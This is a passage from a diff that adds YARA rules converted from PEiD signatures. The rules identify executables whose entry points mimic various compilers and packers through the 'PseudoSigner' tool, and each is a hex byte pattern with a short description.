+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B E9}
+    condition:
+        $a
+}
+
+rule PEiD_01812_PseudoSigner_0_1__FSG_1_31_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [FSG 1.31] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80 E9}
+    condition:
+        $a
+}
+rule PEiD_01813_PseudoSigner_0_1__Gleam_1_00_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Gleam 1.00] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_01814_PseudoSigner_0_1__JDPack_1_x___JDProtect_0_9_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [JDPack 1.x / JDProtect 0.9] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01815_PseudoSigner_0_1__LCC_Win32_1_x_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [LCC Win32 1.x] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01816_PseudoSigner_0_1__LCC_Win32_DLL_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [LCC Win32 DLL] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1 ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_01817_PseudoSigner_0_1__Lockless_Intro_Pack_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Lockless Intro Pack] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD E9}
+    condition:
+        $a
+}
+
+rule PEiD_01818_PseudoSigner_0_1__LTC_1_3_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [LTC 1.3] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01819_PseudoSigner_0_1__Macromedia_Flash_Projector_6_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Macromedia Flash Projector 6.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C E9}
+    condition:
+        $a
+}
+rule PEiD_01820_PseudoSigner_0_1__MEW_11_SE_1_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [MEW 11 SE 1.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01821_PseudoSigner_0_1__Microsoft_Visual_Basic_5_0___6_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual Basic 5.0 - 6.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01822_PseudoSigner_0_1__Microsoft_Visual_Basic_6_0_DLL__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual Basic 6.0 DLL]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 5A 68 90 90 90 90 68 90 90 90 90 52 E9 90 90 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01823_PseudoSigner_0_1__Microsoft_Visual_C___5_0___MFC______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual C++ 5.0+ (MFC)] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01824_PseudoSigner_0_1__Microsoft_Visual_C___6_0__Debug_Version_______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual C++ 6.0 (Debug Version)] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 10 01 90 90 90 90 90 90 90 90 E8 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01825_PseudoSigner_0_1__Microsoft_Visual_C___6_0__Debug_Version___
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual C++ 6.0 (Debug Version)]]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01826_PseudoSigner_0_1__Microsoft_Visual_C___6_20__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual C++ 6.20]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 55 8B EC 83 EC 50 53 56 57 BE 90 90 90 90 8D 7D F4 A5 A5 66 A5 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01827_PseudoSigner_0_1__Microsoft_Visual_C___7_0_DLL_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual C++ 7.0 DLL] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+rule PEiD_01828_PseudoSigner_0_1__MinGW_GCC_2_x_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [MinGW GCC 2.x] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01829_PseudoSigner_0_1__Morphine_1_2______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Morphine 1.2] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 E2 90 90 90 EB 08 82 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01830_PseudoSigner_0_1__Morphine_1_2__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Morphine 1.2]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01831_PseudoSigner_0_1__Neolite_2_0______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Neolite 2.0] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01832_PseudoSigner_0_1__Neolite_2_0__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Neolite 2.0]]"
+        ep_only = "true"
+    strings:
+        $a = {E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01833_PseudoSigner_0_1__NorthStar_PE_Shrinker_1_3_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [NorthStar PE Shrinker 1.3] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01834_PseudoSigner_0_1__Pack_Master_1_0__PEX_Clone_______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Pack Master 1.0 (PEX Clone)] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FF FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_01835_PseudoSigner_0_1__Pack_Master_1_0__PEX_Clone___
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Pack Master 1.0 (PEX Clone)]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+rule PEiD_01836_PseudoSigner_0_1__PE_Intro_1_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PE Intro 1.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A E9}
+    condition:
+        $a
+}
+
+rule PEiD_01837_PseudoSigner_0_1__PE_Pack_0_99_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PE Pack 0.99] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A E9}
+    condition:
+        $a
+}
+
+rule PEiD_01838_PseudoSigner_0_1__PE_Protect_0_9_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PE Protect 0.9] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01839_PseudoSigner_0_1__PECompact_1_4___
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PECompact 1.4+]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 EB 06 68 90 90 90 90 C3 9C 60 E8 02 90 90 90 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+    condition:
+        $a
+}
+
+rule PEiD_01840_PseudoSigner_0_1__PENightMare_2_Beta_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PENightMare 2 Beta] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A E9}
+    condition:
+        $a
+}
+
+rule PEiD_01841_PseudoSigner_0_1__PENinja_1_31_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PENinja 1.31] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9}
+    condition:
+        $a
+}
+rule PEiD_01842_PseudoSigner_0_1__PESHiELD_0_25_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PESHiELD 0.25] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC E9}
+    condition:
+        $a
+}
+
+rule PEiD_01843_PseudoSigner_0_1__PEtite_2_x__level_0___
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PEtite 2.x (level 0)]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 B8 00 90 90 00 6A 00 68 90 90 90 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8 03 00 68}
+    condition:
+        $a
+}
+
+rule PEiD_01844_PseudoSigner_0_1__PEX_0_99_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PEX 0.99] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01845_PseudoSigner_0_1__REALBasic_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [REALBasic] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01846_PseudoSigner_0_1__Ste_lth_PE_1_01__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Ste@lth PE 1.01]]"
+        ep_only = "true"
+    strings:
+        $a = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 BA ?? ?? ?? ?? FF E2 BA E0 10 40 00 B8 68 24 1A 40 89 02 83 C2 03 B8 40 00 E8 EE 89 02 83 C2 FD FF E2 2D 3D 5B 20 48 69 64 65 50 45 20 5D 3D 2D 90 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01847_PseudoSigner_0_1__UPX_0_6_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [UPX 0.6] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01848_PseudoSigner_0_1__VBOX_4_3_MTE_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [VBOX 4.3 MTE] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 E9}
+    condition:
+        $a
+}
+rule PEiD_01849_PseudoSigner_0_1__Video_Lan_Client_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Video-Lan-Client] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01850_PseudoSigner_0_1__VOB_ProtectCD_5_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [VOB ProtectCD 5] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {36 3E 26 8A C0 60 E8 00 00 00 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01851_PseudoSigner_0_1__WATCOM_C_C___EXE_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [WATCOM C/C++ EXE] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 90 90 90 90 57 41 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01852_PseudoSigner_0_1__XCR_0_11_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [XCR 0.11] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 8B F0 33 DB 83 C3 01 83 C0 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01853_PseudoSigner_0_1__Yoda_s_Protector_1_02_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Yoda's Protector 1.02] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 90 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01854_PseudoSigner_0_2___BJFNT_1_1b__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [.BJFNT 1.1b]]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 90}
+    condition:
+        $a
+}
+
+rule PEiD_01855_PseudoSigner_0_2___BJFNT_1_2__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [.BJFNT 1.2]]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 00}
+    condition:
+        $a
+}
+
+rule PEiD_01856_PseudoSigner_0_2__32Lite_0_03_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.2 [32Lite 0.03] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68}
+    condition:
+        $a
+}
+
+rule PEiD_01857_PseudoSigner_0_2__Armadillo_3_00__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Armadillo 3.00]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85}
+    condition:
+        $a
+}
+rule PEiD_01858_PseudoSigner_0_2__ASProtect__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [ASProtect]]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD}
+    condition:
+        $a
+}
+
+rule PEiD_01859_PseudoSigner_0_2__Borland_C___1999_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Borland C++ 1999] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 A1 ?? ?? ?? ?? A3}
+    condition:
+        $a
+}
+
+rule PEiD_01860_PseudoSigner_0_2__Borland_C___DLL__Method_2___
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Borland C++ DLL (Method 2)]]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01861_PseudoSigner_0_2__Borland_Delphi_DLL__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Borland Delphi DLL]]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 B4 B8 90 90 90 90 E8 00 00 00 00 E8 00 00 00 00 8D 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01862_PseudoSigner_0_2__Borland_Delphi_Setup_Module__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Borland Delphi Setup Module]]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 90 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01863_PseudoSigner_0_2__CD_Cops_II__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [CD-Cops II]]"
+        ep_only = "true"
+    strings:
+        $a = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01}
+    condition:
+        $a
+}
+
+rule PEiD_01864_PseudoSigner_0_2__Code_Lock__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Code-Lock]]"
+        ep_only = "true"
+    strings:
+        $a = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B}
+    condition:
+        $a
+}
+
+rule PEiD_01865_PseudoSigner_0_2__CodeSafe_2_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [CodeSafe 2.0]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85}
+    condition:
+        $a
+}
+
+rule PEiD_01866_PseudoSigner_0_2__Crunch_PE_Heuristic__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Crunch/PE Heuristic]]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01867_PseudoSigner_0_2__DEF_1_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [DEF 1.0]]"
+        ep_only = "true"
+    strings:
+        $a = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01}
+    condition:
+        $a
+}
+
+rule PEiD_01868_PseudoSigner_0_2__DxPack_1_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [DxPack 1.0]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_01869_PseudoSigner_0_2__ExeSmasher__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [ExeSmasher]]"
+        ep_only = "true"
+    strings:
+        $a = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B}
+    condition:
+        $a
+}
+
+rule PEiD_01870_PseudoSigner_0_2__FSG_1_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [FSG 1.0]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+    condition:
+        $a
+}
+
+rule PEiD_01871_PseudoSigner_0_2__FSG_1_31__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [FSG 1.31]]"
+        ep_only = "true"
+    strings:
+        $a = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80}
+    condition:
+        $a
+}
+
+rule PEiD_01872_PseudoSigner_0_2__Gleam_1_00__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Gleam 1.00]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01873_PseudoSigner_0_2__JDPack_1_x___JDProtect_0_9__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [JDPack 1.x / JDProtect 0.9]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_01874_PseudoSigner_0_2__LCC_Win32_1_x__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [LCC Win32 1.x]]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50}
+    condition:
+        $a
+}
+
+rule PEiD_01875_PseudoSigner_0_2__LCC_Win32_DLL_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.2 [LCC Win32 DLL] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1}
+    condition:
+        $a
+}
+
+rule PEiD_01876_PseudoSigner_0_2__Lockless_Intro_Pack__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Lockless Intro Pack]]"
+        ep_only = "true"
+    strings:
+        $a = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD}
+    condition:
+        $a
+}
+
+rule PEiD_01877_PseudoSigner_0_2__Macromedia_Flash_Projector_6_0__
+{
+    meta:
